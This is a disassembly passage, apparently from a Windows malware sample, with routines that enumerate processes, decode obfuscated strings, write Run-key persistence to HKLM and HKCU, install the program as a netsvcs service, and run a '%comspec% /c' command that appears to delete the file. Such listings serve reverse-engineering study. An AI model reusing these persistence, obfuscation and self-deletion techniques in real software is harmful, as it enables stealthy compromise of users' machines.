push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
push esi
mov dword_449084, eax
call edi
push offset aProcess32first ; "Process32First"
push esi
mov dword_449080, eax
call edi
push offset aProcess32next ; "Process32Next"
push esi
mov dword_44907C, eax
call edi
mov dword_448F48, eax
mov eax, dword_449084
test eax, eax
jz short loc_40D751
push ebx
push 0
call eax
loc_40D751: ; CODE XREF: sub_40D660+A7j
; sub_40D660+EAj
mov esi, [esp+1A8h+arg_0]
push 0
mov ecx, esi
call sub_4017EE
push eax
lea ecx, [esp+1B0h+var_184]
call sub_402135
test eax, eax
jnz short loc_40D788
mov al, byte_44916F
test al, al
jz short loc_40D788
mov ecx, esi
call sub_4017EE
push eax
call sub_401604
; ---------------------------------------------------------------------------
add esp, 4
loc_40D788: ; CODE XREF: sub_40D660+10Dj
; sub_40D660+116j
push 0
push 5
push 18h
push 5
push 4Eh
push 46h
push 47h
push 12h
push 10h
push 10h
push 0Eh
push 9
lea eax, [esp+1D8h+var_19C]
push 17h
push eax
call sub_4019C4
add esp, 38h
mov ecx, eax
mov byte ptr [esp+1A8h+var_4], 2
call sub_4017EE
push eax
call sub_401604
sub_40D660 endp
; ---------------------------------------------------------------------------
add esp, 4
lea ecx, [esp+0Ch]
mov [esp+1A4h], bl
call sub_401226
push 0
push 5
push 18h
push 5
push 4Eh
push 14h
push 13h
push 0Fh
push 8
push 0Ch
push 0Ch
lea ecx, [esp+38h]
push 4
push ecx
call sub_4019C4
add esp, 34h
mov ecx, eax
mov byte ptr [esp+1A4h], 3
call sub_4017EE
push eax
call sub_401604
; ---------------------------------------------------------------------------
add esp, 4
lea ecx, [esp+0Ch]
mov [esp+1A4h], bl
call sub_401226
push 0
push 5
push 18h
push 5
push 4Eh
push 4
push 10h
push 14h
push 6
lea edx, [esp+30h]
push 14h
push edx
call sub_4019C4
add esp, 2Ch
mov ecx, eax
mov byte ptr [esp+1A4h], 4
call sub_4017EE
push eax
call sub_401604
; ---------------------------------------------------------------------------
add esp, 4
lea ecx, [esp+0Ch]
mov [esp+1A4h], bl
call sub_401226
push 0
push 5
push 18h
push 5
push 4Eh
push 14h
push 13h
push ebx
push 0Ch
push 2
push 13h
lea eax, [esp+38h]
push 0Dh
push eax
call sub_4019C4
add esp, 34h
mov ecx, eax
mov byte ptr [esp+1A4h], 5
call sub_4017EE
push eax
call sub_401604
; ---------------------------------------------------------------------------
add esp, 4
lea ecx, [esp+0Ch]
mov [esp+1A4h], bl
call sub_401226
push 0
push 5
push 18h
push 5
push 4Eh
push 46h
push 47h
push 13h
push 9
push 0Eh
push 5
lea ecx, [esp+38h]
push 10h
push ecx
call sub_4019C4
add esp, 34h
mov ecx, eax
mov byte ptr [esp+1A4h], 6
call sub_4017EE
push eax
call sub_401604
; ---------------------------------------------------------------------------
add esp, 4
lea ecx, [esp+0Ch]
mov [esp+1A4h], bl
call sub_401226
push 0
push 5
push 18h
push 5
push 4Eh
push 8
push 3
push 14h
push ebx
push 10h
push 13h
lea edx, [esp+38h]
push 0Dh
push edx
call sub_4019C4
add esp, 34h
mov ecx, eax
mov byte ptr [esp+1A4h], 7
call sub_4017EE
push eax
call sub_401604
; ---------------------------------------------------------------------------
db 83h
dd 4C8D04C4h, 9C880C24h, 1A424h, 38D4E800h, 448DFFFFh
dd 6A3C24h, 244C8D50h, 3EB4E82Ch, 0C085FFFFh, 116850Fh
dd 8B550000h, 3E7CE8CEh, 6A50FFFFh, 244C8D5Ch, 3E70E848h
dd 8D50FFFFh, 0A8248Ch, 20680000h, 5100444Bh, 8E1CE890h
dd 3D8B001Eh, 5118ACh, 0FF14C483h, 24948DD7h, 9Ch, 8D52006Ah
dd 8B30244Ch, 3CD9E8E8h, 358BFFFFh, 511914h, 85D6FF50h
dd 0FF3075C0h, 3DC52BD7h, 61A8h, 0D0682573h, 90000007h
dd 424313E8h, 24848D02h, 9Ch, 8D50006Ah, 0E830244Ch, 0FFFF3CA3h
dd 85D6FF50h, 0A0D074C0h, 4497CBh, 74C0845Dh, 0D8358B39h
dd 6800511Ah, 104h, 9C248C8Dh, 68000000h, 444B18h, 83D6FF51h
dd 4C8D0CC4h, 4682424h, 0E8000001h, 0FFFF3DCAh, 9C24948Dh
dd 50000000h, 83D6FF52h, 11B90CC4h, 33000000h, 247C8DC0h
dd 24948D54h, 98h, 8966ABF3h, 842484h, 448D0000h, 4C8D0C24h
dd 51505424h, 6A006Ah, 6A53286Ah, 52006A00h, 44C7006Ah
dd 447C24h, 0EFE80000h, 90023E29h, 874C085h, 0E890006Ah
dd 7782C3FEh, 24244C8Dh, 0A42484C6h, 1, 0FF3795E8h, 244C8DFFh
dd 2484C73Ch, 1A4h, 0FFFFFFFFh, 0FF3781E8h, 248C8BFFh
dd 19Ch, 5EC38A5Fh, 0D89645Bh, 0
; ---------------------------------------------------------------------------
add esp, 19Ch
retn 4
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 120h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40DBF0 proc near ; CODE XREF: sub_401195j
mov al, byte_449171
test al, al
jz short loc_40DC04
push offset word_449172
call near ptr 27E0D2Bh
nop
loc_40DC04: ; CODE XREF: sub_40DBF0+7j
mov al, 1
retn
sub_40DBF0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40DC20 proc near ; CODE XREF: sub_401E79j
var_6D0 = dword ptr -6D0h
var_6CC = dword ptr -6CCh
var_6C8 = dword ptr -6C8h
var_6C4 = dword ptr -6C4h
var_6C0 = dword ptr -6C0h
var_6BC = dword ptr -6BCh
var_6B8 = dword ptr -6B8h
var_6B4 = dword ptr -6B4h
var_6B0 = byte ptr -6B0h
var_6AC = byte ptr -6ACh
var_694 = byte ptr -694h
var_67C = byte ptr -67Ch
var_664 = byte ptr -664h
var_64C = byte ptr -64Ch
var_634 = byte ptr -634h
var_61C = byte ptr -61Ch
var_604 = byte ptr -604h
var_5EC = byte ptr -5ECh
var_5D4 = byte ptr -5D4h
var_5BC = byte ptr -5BCh
var_5A4 = byte ptr -5A4h
var_58C = byte ptr -58Ch
var_574 = byte ptr -574h
var_564 = dword ptr -564h
var_534 = word ptr -534h
var_520 = byte ptr -520h
var_41C = byte ptr -41Ch
var_318 = byte ptr -318h
var_214 = byte ptr -214h
var_110 = byte ptr -110h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40DC20
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 6C4h
push esi
lea eax, [esp+6D4h+var_41C]
push 104h
push eax
push 0
nop
call near ptr 2890000h
push eax
call near ptr 2881331h
nop
lea ecx, [esp+6D4h+var_318]
push ecx
push 104h
nop
call near ptr 27D0000h
push 0
push 14h
push 1
push 2
push 4Fh
push 0Fh
push 12h
push 6
lea edx, [esp+6F4h+var_5EC]
push 1
push edx
call sub_4019C4
add esp, 28h
mov ecx, eax
mov [esp+6D4h+var_4], 0
call sub_4017EE
push eax
lea eax, [esp+6D8h+var_318]
push eax
lea ecx, [esp+6DCh+var_520]
push offset dword_444684
push ecx
call near ptr word_5F67AE
nop
add esp, 10h
lea ecx, [esp+6D4h+var_5EC]
mov [esp+6D4h+var_4], 0FFFFFFFFh
call sub_401226
push 0
push 0
push 2
push 0
push 0
lea edx, [esp+6E8h+var_520]
push 40000000h
push edx
call near ptr 286033Ah
nop
mov esi, eax
test esi, esi
jbe loc_40E178
push ebx
push ebp
push edi
lea ecx, [esp+6E0h+var_6AC]
call sub_40142E
push 0
push 14h
push 1
push 2
lea eax, [esp+6F0h+var_604]
push 4Fh
push eax
mov [esp+6F8h+var_4], 1
call sub_4019C4
mov edi, eax
push 0
push 39h
push 10h
push 0Dh
push 5
push 14h
push 39h
push 4Eh
push 0Ch
push 5
lea ecx, [esp+720h+var_634]
push 4
push ecx
mov byte ptr [esp+728h+var_4], 2
call sub_4019C4
add esp, 48h
mov ebp, eax
push 0
push 14h
push 1
push 2
lea edx, [esp+6F0h+var_664]
push 4Fh
push edx
mov byte ptr [esp+6F8h+var_4], 3
call sub_4019C4
mov ebx, eax
push 0
push 39h
push 10h
push 0Dh
push 5
push 14h
push 39h
push 4Eh
push 20h
push 52h
push 4Eh
push 0Ch
push 5
lea eax, [esp+72Ch+var_67C]
push 4
push eax
mov byte ptr [esp+734h+var_4], 4
call sub_4019C4
add esp, 54h
mov [esp+6E0h+var_6B4], eax
push 0
push 5
push 0Eh
push 0Fh
push 4
lea ecx, [esp+6F4h+var_61C]
push 53h
push ecx
mov byte ptr [esp+6FCh+var_4], 5
call sub_4019C4
mov [esp+6FCh+var_6C8], eax
mov byte ptr [esp+6FCh+var_4], 6
push 0
push 14h
push 12h
push 1
push 14h
push 13h
push 4Eh
push 0Fh
push 14h
push 0Fh
lea edx, [esp+724h+var_5D4]
push 7
push edx
call sub_4019C4
add esp, 4Ch
mov [esp+6E0h+var_6B8], eax
push 0
push 54h
push 54h
push 45h
push 39h
push 54h
push 54h
push 4Eh
push 0Ch
push 5
lea eax, [esp+708h+var_5A4]
push 4
push eax
mov byte ptr [esp+710h+var_4], 7
call sub_4019C4
mov [esp+710h+var_6C0], eax
push 0
push 54h
push 54h
push 45h
push 39h
push 54h
push 54h
push 4Eh
push 20h
push 52h
push 4Eh
push 0Ch
push 5
lea ecx, [esp+744h+var_58C]
push 4
push ecx
mov byte ptr [esp+74Ch+var_4], 8
call sub_4019C4
add esp, 6Ch
mov [esp+6E0h+var_6D0], eax
push 0
push 5
push 0Eh
push 0Fh
push 4
push 4Eh
push 0Fh
push 14h
push 0Fh
push 7
push 4Eh
push 54h
push 54h
push 45h
push 39h
push 54h
push 54h
push 4Eh
push 14h
push 13h
push 9
push 18h
push 5
push 4Eh
push 14h
mov byte ptr [esp+744h+var_4], 9
push 0Fh
push 0Eh
push 4Eh
push 6
lea edx, [esp+754h+var_694]
push 9
push edx
call sub_4019C4
mov [esp+75Ch+var_6CC], eax
push 0
push 14h
push 12h
push 1
push 14h
push 13h
lea eax, [esp+774h+var_5BC]
push 53h
push eax
mov byte ptr [esp+77Ch+var_4], 0Ah
call sub_4019C4
add esp, 9Ch
mov [esp+6E0h+var_6C4], eax
push 0
push 6
push 6
push 0Fh
push 4Eh
push 0Fh
push 8
push 3
push 5
lea ecx, [esp+704h+var_64C]
push 56h
push ecx
mov byte ptr [esp+70Ch+var_4], 0Bh
call sub_4019C4
add esp, 2Ch
mov [esp+6E0h+var_6BC], eax
mov ecx, edi
mov byte ptr [esp+6E0h+var_4], 0Ch
call sub_4017EE
push eax
mov ecx, ebp
call sub_4017EE
push eax
mov ecx, ebx
call sub_4017EE
mov ecx, [esp+6E8h+var_6B4]
push eax
call sub_4017EE
mov ecx, [esp+6ECh+var_6C8]
push eax
call sub_4017EE
mov ecx, [esp+6F0h+var_6B8]
push eax
call sub_4017EE
mov ecx, [esp+6F4h+var_6C0]
push eax
call sub_4017EE
mov ecx, [esp+6F8h+var_6D0]
push eax
call sub_4017EE
mov ecx, [esp+6FCh+var_6CC]
push eax
call sub_4017EE
mov ecx, [esp+700h+var_6C4]
push eax
call sub_4017EE
mov ecx, [esp+704h+var_6BC]
push eax
call sub_4017EE
push eax
lea edx, [esp+70Ch+var_6AC]
push offset aSSSSSSSSSS ; "%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r%s\r\n%s\r%s\r\n"
push edx
call sub_40102D
add esp, 34h
mov byte ptr [esp+6E0h+var_4], 0Bh
lea ecx, [esp+6E0h+var_64C]
call sub_401226
lea ecx, [esp+6E0h+var_5BC]
mov byte ptr [esp+6E0h+var_4], 0Ah
call sub_401226
lea ecx, [esp+6E0h+var_694]
mov byte ptr [esp+6E0h+var_4], 9
call sub_401226
lea ecx, [esp+6E0h+var_58C]
mov byte ptr [esp+6E0h+var_4], 8
call sub_401226
lea ecx, [esp+6E0h+var_5A4]
mov byte ptr [esp+6E0h+var_4], 7
call sub_401226
lea ecx, [esp+6E0h+var_5D4]
mov byte ptr [esp+6E0h+var_4], 6
call sub_401226
lea ecx, [esp+6E0h+var_61C]
mov byte ptr [esp+6E0h+var_4], 5
call sub_401226
lea ecx, [esp+6E0h+var_67C]
mov byte ptr [esp+6E0h+var_4], 4
call sub_401226
lea ecx, [esp+6E0h+var_664]
mov byte ptr [esp+6E0h+var_4], 3
call sub_401226
lea ecx, [esp+6E0h+var_634]
mov byte ptr [esp+6E0h+var_4], 2
call sub_401226
lea ecx, [esp+6E0h+var_604]
mov byte ptr [esp+6E0h+var_4], 1
call sub_401226
lea eax, [esp+6E0h+var_6B0]
push 0
push eax
push 69h
lea ecx, [esp+6ECh+var_6AC]
call sub_4017EE
push eax
push esi
nop
call near ptr 27E0000h
push esi
call near ptr 284070Bh
nop
mov ecx, 11h
xor eax, eax
lea edi, [esp+6E0h+var_564]
push 104h
rep stosd
lea ecx, [esp+6E4h+var_41C]
mov [esp+6E4h+var_564], 44h
push ecx
push eax
mov [esp+6ECh+var_534], ax
nop
call near ptr 2890000h
push eax
call near ptr 2881331h
nop
lea edx, [esp+6E0h+var_41C]
lea eax, [esp+6E0h+var_520]
push edx
push eax
lea ecx, [esp+6E8h+var_214]
push offset aComspecCSS ; "%%comspec%% /c %s %s"
push ecx
nop
call near ptr word_5F67AE
add esp, 10h
lea edx, [esp+6E0h+var_110]
lea eax, [esp+6E0h+var_214]
push 104h
push edx
push eax
call near ptr 2800000h
nop
lea ecx, [esp+6E0h+var_574]
lea edx, [esp+6E0h+var_564]
push ecx
push edx
push 0
push 0
push 28h
push 1
push 0
push 0
lea eax, [esp+700h+var_110]
push eax
push 0
call near ptr 27F0462h
nop
lea ecx, [esp+6E0h+var_6AC]
mov [esp+6E0h+var_4], 0FFFFFFFFh
call sub_401226
pop edi
pop ebp
pop ebx
mov al, 1
pop esi
mov ecx, [esp+6D0h+var_C]
mov large fs:0, ecx
add esp, 6D0h
retn
; ---------------------------------------------------------------------------
loc_40E178: ; CODE XREF: sub_40DC20+D6j
mov ecx, [esp+6D4h+var_C]
mov al, 1
pop esi
mov large fs:0, ecx
add esp, 6D0h
retn
sub_40DC20 endp
; ---------------------------------------------------------------------------
db 160h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40E2F0 proc near ; CODE XREF: sub_401730j
var_70 = dword ptr -70h
var_6C = byte ptr -6Ch
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_40E2F0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 64h
push ebx
push ebp
push esi
push edi
lea ecx, [esp+80h+var_54]
call sub_40142E
lea ecx, [esp+80h+var_6C]
mov [esp+80h+var_4], 0
call sub_40142E
lea ecx, [esp+80h+var_3C]
mov byte ptr [esp+80h+var_4], 1
call sub_40142E
push 0
push 5
push 3
push 0Eh
push 29h
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea eax, [esp+144h+var_24]
mov bl, 2
push 2Dh
push eax
mov byte ptr [esp+14Ch+var_4], bl
call sub_4019C4
add esp, 0CCh
push eax
lea ecx, [esp+84h+var_6C]
mov byte ptr [esp+84h+var_4], 3
call sub_40202C
lea ecx, [esp+80h+var_24]
mov byte ptr [esp+80h+var_4], bl
call sub_401226
push 0
push 13h
push 5
push 3
push 9
push 16h
push 12h
push 5
push 2Dh
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea ecx, [esp+154h+var_24]
push 2Dh
push ecx
call sub_4019C4
add esp, 0DCh
push eax
lea ecx, [esp+84h+var_3C]
mov byte ptr [esp+84h+var_4], 4
call sub_40202C
lea ecx, [esp+80h+var_24]
mov byte ptr [esp+80h+var_4], bl
call sub_401226
push 0
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea edx, [esp+134h+var_24]
push 2Dh
push edx
call sub_4019C4
add esp, 0BCh
push eax
lea ecx, [esp+84h+var_54]
mov byte ptr [esp+84h+var_4], 5
call sub_40202C
lea ecx, [esp+80h+var_24]
mov byte ptr [esp+80h+var_4], bl
call sub_401226
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_54]
call sub_4017EE
mov ebp, dword_51175C
push eax
push 80000002h
call ebp
mov esi, [esp+80h+arg_4]
mov ecx, esi
call sub_40168B
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
mov ecx, esi
call sub_40168B
mov ebx, [esp+84h+arg_0]
push eax
push 1
push 0
mov ecx, ebx
call sub_40168B
mov ecx, [esp+90h+var_70]
push eax
push ecx
nop
call near ptr 2950000h
mov edx, [esp+80h+var_70]
push edx
call near ptr 2910000h
nop
push 0
lea eax, [esp+84h+var_70]
lea ecx, [esp+84h+var_6C]
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
call sub_4017EE
push eax
push 80000002h
call ebp
mov ecx, esi
call sub_40168B
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
mov ecx, esi
call sub_40168B
push eax
push 1
push 0
mov ecx, ebx
call sub_40168B
mov ecx, [esp+90h+var_70]
push eax
push ecx
nop
call near ptr 2950000h
mov edx, [esp+80h+var_70]
push edx
call near ptr 2910000h
nop
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_54]
call sub_4017EE
push eax
push 80000001h
call ebp
mov ecx, esi
call sub_40168B
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
mov ecx, esi
call sub_40168B
push eax
push 1
push 0
mov ecx, ebx
call sub_40168B
mov ecx, [esp+90h+var_70]
push eax
push ecx
nop
call near ptr 2950000h
mov edx, [esp+80h+var_70]
push edx
call near ptr 2910000h
nop
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_6C]
call sub_4017EE
push eax
push 80000001h
call ebp
mov ecx, esi
call sub_40168B
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
mov ecx, esi
call sub_40168B
push eax
push 1
push 0
mov ecx, ebx
call sub_40168B
mov ecx, [esp+90h+var_70]
push eax
push ecx
nop
call near ptr 2950000h
mov edx, [esp+80h+var_70]
push edx
nop
call near ptr 2910000h
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_3C]
call sub_4017EE
push eax
push 80000002h
call ebp
mov ecx, esi
call sub_40168B
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
mov ecx, esi
call sub_40168B
push eax
push 1
push 0
mov ecx, ebx
call sub_40168B
mov ecx, [esp+90h+var_70]
push eax
push ecx
nop
call near ptr 2950000h
mov edx, [esp+80h+var_70]
push edx
nop
call near ptr 2910000h
lea ecx, [esp+80h+var_3C]
mov byte ptr [esp+80h+var_4], 1
call sub_401226
lea ecx, [esp+80h+var_6C]
mov byte ptr [esp+80h+var_4], 0
call sub_401226
lea ecx, [esp+80h+var_54]
mov [esp+80h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+80h+var_C]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov large fs:0, ecx
add esp, 70h
retn 8
sub_40E2F0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 120h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40E870 proc near ; CODE XREF: sub_401451j
var_70 = dword ptr -70h
var_6C = byte ptr -6Ch
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push offset SEH_40E870
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 64h
push ebx
push ebp
push esi
push edi
lea ecx, [esp+80h+var_6C]
call sub_40142E
lea ecx, [esp+80h+var_3C]
mov [esp+80h+var_4], 0
call sub_40142E
lea ecx, [esp+80h+var_54]
mov byte ptr [esp+80h+var_4], 1
call sub_40142E
push 0
push 5
push 3
push 0Eh
push 29h
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea eax, [esp+144h+var_24]
mov bl, 2
push 2Dh
push eax
mov byte ptr [esp+14Ch+var_4], bl
call sub_4019C4
add esp, 0CCh
push eax
lea ecx, [esp+84h+var_3C]
mov byte ptr [esp+84h+var_4], 3
call sub_40202C
lea ecx, [esp+80h+var_24]
mov byte ptr [esp+80h+var_4], bl
call sub_401226
push 0
push 13h
push 5
push 3
push 9
push 16h
push 12h
push 5
push 2Dh
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea ecx, [esp+154h+var_24]
push 2Dh
push ecx
call sub_4019C4
add esp, 0DCh
push eax
lea ecx, [esp+84h+var_54]
mov byte ptr [esp+84h+var_4], 4
call sub_40202C
lea ecx, [esp+80h+var_24]
mov byte ptr [esp+80h+var_4], bl
call sub_401226
push 0
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea edx, [esp+134h+var_24]
push 2Dh
push edx
call sub_4019C4
add esp, 0BCh
push eax
lea ecx, [esp+84h+var_6C]
mov byte ptr [esp+84h+var_4], 5
call sub_40202C
lea ecx, [esp+80h+var_24]
mov byte ptr [esp+80h+var_4], bl
call sub_401226
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_6C]
call sub_4017EE
mov esi, dword_51175C
push eax
push 80000002h
call esi
mov edi, [esp+80h+arg_0]
mov ecx, edi
call sub_40168B
mov ecx, [esp+80h+var_70]
mov ebp, dword_51176C
push eax
push ecx
call ebp
mov edx, [esp+80h+var_70]
mov ebx, dword_511740
push edx
call ebx
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_54]
call sub_4017EE
push eax
push 80000002h
call esi
mov ecx, edi
call sub_40168B
mov ecx, [esp+80h+var_70]
push eax
push ecx
call ebp
mov edx, [esp+80h+var_70]
push edx
call ebx
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_6C]
call sub_4017EE
push eax
push 80000002h
call esi
mov ecx, edi
call sub_40168B
mov ecx, [esp+80h+var_70]
push eax
push ecx
call ebp
mov edx, [esp+80h+var_70]
push edx
call ebx
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_6C]
call sub_4017EE
push eax
push 80000001h
call esi
mov ecx, edi
call sub_40168B
mov ecx, [esp+80h+var_70]
push eax
push ecx
call ebp
mov edx, [esp+80h+var_70]
push edx
call ebx
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_3C]
call sub_4017EE
push eax
push 80000001h
call esi
mov ecx, edi
call sub_40168B
mov ecx, [esp+80h+var_70]
push eax
push ecx
call ebp
mov edx, [esp+80h+var_70]
push edx
call ebx
lea ecx, [esp+80h+var_54]
mov byte ptr [esp+80h+var_4], 1
call sub_401226
lea ecx, [esp+80h+var_3C]
mov byte ptr [esp+80h+var_4], 0
call sub_401226
mov [esp+80h+var_4], 0FFFFFFFFh
lea ecx, [esp+80h+var_6C]
call sub_401226
mov ecx, [esp+80h+var_C]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov large fs:0, ecx
add esp, 70h
retn 4
sub_40E870 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 0F0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40ED00 proc near ; CODE XREF: sub_4014A1j
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_40ED00
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 48h
push ebx
push esi
mov esi, ecx
lea ecx, [esp+5Ch+var_24]
call sub_40142E
push 104h
push 104h
lea ecx, [esp+64h+var_24]
mov [esp+64h+var_4], 0
call sub_401C71
push eax
nop
call near ptr 27F0000h
lea ecx, [esp+5Ch+var_3C]
call sub_40142E
mov ecx, [esp+5Ch+arg_4]
mov byte ptr [esp+5Ch+var_4], 1
call sub_4017EE
push eax
lea ecx, [esp+60h+var_24]
call sub_4017EE
push eax
lea eax, [esp+64h+var_3C]
push offset dword_444684
push eax
call sub_40102D
add esp, 10h
lea ecx, [esp+5Ch+var_54]
call sub_40142E
lea ecx, [esp+5Ch+var_54]
push offset aNetsvcs ; "-netsvcs"
push ecx
mov byte ptr [esp+64h+var_4], 2
call sub_40102D
mov ecx, [esp+64h+arg_0]
add esp, 8
lea edx, [esp+5Ch+var_54]
lea eax, [esp+5Ch+var_3C]
push edx
push eax
push ecx
mov ecx, esi
call sub_402171
lea ecx, [esp+5Ch+var_54]
mov bl, al
mov byte ptr [esp+5Ch+var_4], 1
call sub_401226
lea ecx, [esp+5Ch+var_3C]
mov byte ptr [esp+5Ch+var_4], 0
call sub_401226
lea ecx, [esp+5Ch+var_24]
mov [esp+5Ch+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+5Ch+var_C]
mov al, bl
pop esi
pop ebx
mov large fs:0, ecx
add esp, 54h
retn 8
sub_40ED00 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40EE40 proc near ; CODE XREF: sub_402171j
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 0FFFFFFFFh
push offset SEH_40EE40
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 38h
push ebx
push ebp
push esi
push edi
push 0F003Fh
push offset aServicesactive ; "ServicesActive"
mov [esp+5Ch+var_44], ecx
push 0
nop
call near ptr 2910B29h
mov edi, eax
test edi, edi
jnz short loc_40EE7F
xor al, al
jmp loc_40EFD0
; ---------------------------------------------------------------------------
loc_40EE7F: ; CODE XREF: sub_40EE40+36j
lea ecx, [esp+54h+var_24]
call sub_40142E
mov ecx, [esp+54h+arg_8]
mov [esp+54h+var_4], 0
call sub_4017EE
mov ebx, [esp+54h+arg_4]
push eax
mov ecx, ebx
call sub_4017EE
push eax
lea eax, [esp+5Ch+var_24]
push offset aSS_4 ; "\"%s\" %s"
push eax
call sub_40102D
add esp, 10h
lea ecx, [esp+54h+var_24]
push 0
push 0
push 0
push 0
push 0
call sub_4017EE
push eax
push 1
